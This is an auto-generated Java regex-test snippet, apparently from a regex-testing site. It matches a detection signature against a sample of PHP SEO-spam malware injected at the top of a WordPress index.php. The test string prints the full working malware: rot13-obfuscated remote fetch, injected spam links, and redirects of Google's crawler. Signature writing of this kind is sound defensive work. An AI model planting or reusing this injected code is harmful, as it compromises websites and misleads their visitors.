import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class Example {
public static void main(String[] args) {
final String regex = "^(?:[[:^print:][:cntrl:]\\s]|GIF89.{0,20})*<\\?(?:php)?\\s*(\\$\\w+)=\\@\\$_server\\[['\"]http_host['\"]\\];\\1.{0,90}?if\\(\\@\\$_get\\[[\"']merdo[\"'\\]\\)\\{\\w\\s'\\<\\!\\-]+sysadmin.{0,180}?curl_setopt\\(\\$.{0,370}?file_get_contents\\(\\$.{0,150}?$\\w{0,21}=\\@json_decode\\(str_rot13\\(.{0,460}?\\$\\w.{0,21}\\[[\"']html.{0,550}?\\$myurl=rtrim\\(\\$\\w.{0,21}\\[['\"]links.{0,110}header\\(['\"]location:\\s*[\"']\\.\\$url.{0,100}?\\)\\.['\"]\\?merdo=.{0,140}?\\);(?:[^>]+>\\s*)?(?=\\s*<\\?(?:php)?)";
final String string = "<?php $eMaOCtmXlSnImjmiCMmP=@$_SERVER[\"HTTP_HOST\"];$eMaOCtmXlSnImjmiCMmP=str_replace('www.','',$eMaOCtmXlSnImjmiCMmP);if(@$_GET[\"merdo\"]){echo '<!--SYSADMIN-->';exit();}function mMvIxjRKghDOytsXmHGz($WDqgjhajdhXeSWcZQBrY){if(function_exists('curl_init')){$JFOvIQnSKOvIvanRszDQ=curl_init();curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_URL,$WDqgjhajdhXeSWcZQBrY);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_RETURNTRANSFER,true);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_USERAGENT,\"RaBot\");curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_TIMEOUT,10);return curl_exec($JFOvIQnSKOvIvanRszDQ);}else{return file_get_contents($WDqgjhajdhXeSWcZQBrY);}}function authRQaFMJbNLaJvrLTF($SMKstKjPCEdudocSCHHm){global $mnTIeyfFkNxHxpHFcEse;$DkiJvJYOhXiunDLZIogN=@json_decode(str_rot13($SMKstKjPCEdudocSCHHm),true);if($DkiJvJYOhXiunDLZIogN[\"type\"]==\"link\"||$DkiJvJYOhXiunDLZIogN[\"type\"]==\"anti\"){if(count($DkiJvJYOhXiunDLZIogN[\"links\"])){$XxXBDNFNLjLqzmBZbKRY='';foreach($DkiJvJYOhXiunDLZIogN[\"links\"]as $AXzHJsVXmlVXbzpqVwQJ){$XxXBDNFNLjLqzmBZbKRY.=\"<a href=\\\"\".$AXzHJsVXmlVXbzpqVwQJ[\"url\"].\"\\\" title=\\\"\".$AXzHJsVXmlVXbzpqVwQJ[\"title\"].\"\\\">\".$AXzHJsVXmlVXbzpqVwQJ[\"baslik\"].\"</a>\\n\";}$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN[\"html\"];$SmkbvCeraMrwNwvcAesM=str_replace('{LINK_CODE_REPLACE}',$XxXBDNFNLjLqzmBZbKRY,$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}else{$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN[\"html\"];$SmkbvCeraMrwNwvcAesM=str_replace('{LINK_CODE_REPLACE}','',$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}}elseif($DkiJvJYOhXiunDLZIogN[\"type\"]==\"redirect\"){if(@preg_match('#google#',$_SERVER[\"HTTP_USER_AGENT\"])){$uri=$_SERVER['REQUEST_URI'];$rand_keys=array_rand($DkiJvJYOhXiunDLZIogN[\"links\"],1);$myurl=rtrim($DkiJvJYOhXiunDLZIogN[\"links\"][$rand_keys][\"url\"],'/');$url=$myurl.$uri;header('HTTP/1.1 301 Moved Permanently');header('Location: '.$url.'');exit();}}}$VIsQtYtIlNsuLPcxywSQ=str_rot13('uggc://jjj.wnxxryyl.pbz/kynetr.cuc').'?merdo='.$eMaOCtmXlSnImjmiCMmP;$zEGHtEUrCiJBSXWxYOdV=mMvIxjRKghDOytsXmHGz($VIsQtYtIlNsuLPcxywSQ);authRQaFMJbNLaJvrLTF($zEGHtEUrCiJBSXWxYOdV); ?> <?php\n"
+ "/**\n"
+ " * Front to the WordPress application. This file doesn't do anything, but loads\n"
+ " * wp-blog-header.php which does and tells WordPress to load the theme.\n"
+ " *\n"
+ " * @package WordPress\n"
+ " */\n\n"
+ "/**\n"
+ " * Tells WordPress to load the WordPress theme and output it.\n"
+ " *\n"
+ " * @var bool\n"
+ " */\n"
+ "define( 'WP_USE_THEMES', true );\n\n"
+ "/** Loads the WordPress Environment and Template */\n"
+ "require( dirname( __FILE__ ) . '/wp-blog-header.php' );\n";
final Pattern pattern = Pattern.compile(regex, Pattern.CASE_INSENSITIVE | Pattern.DOTALL);
final Matcher matcher = pattern.matcher(string);
while (matcher.find()) {
System.out.println("Full match: " + matcher.group(0));
for (int i = 1; i <= matcher.groupCount(); i++) {
System.out.println("Group " + i + ": " + matcher.group(i));
}
}
}
}
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Java, please visit: https://docs.oracle.com/javase/7/docs/api/java/util/regex/Pattern.html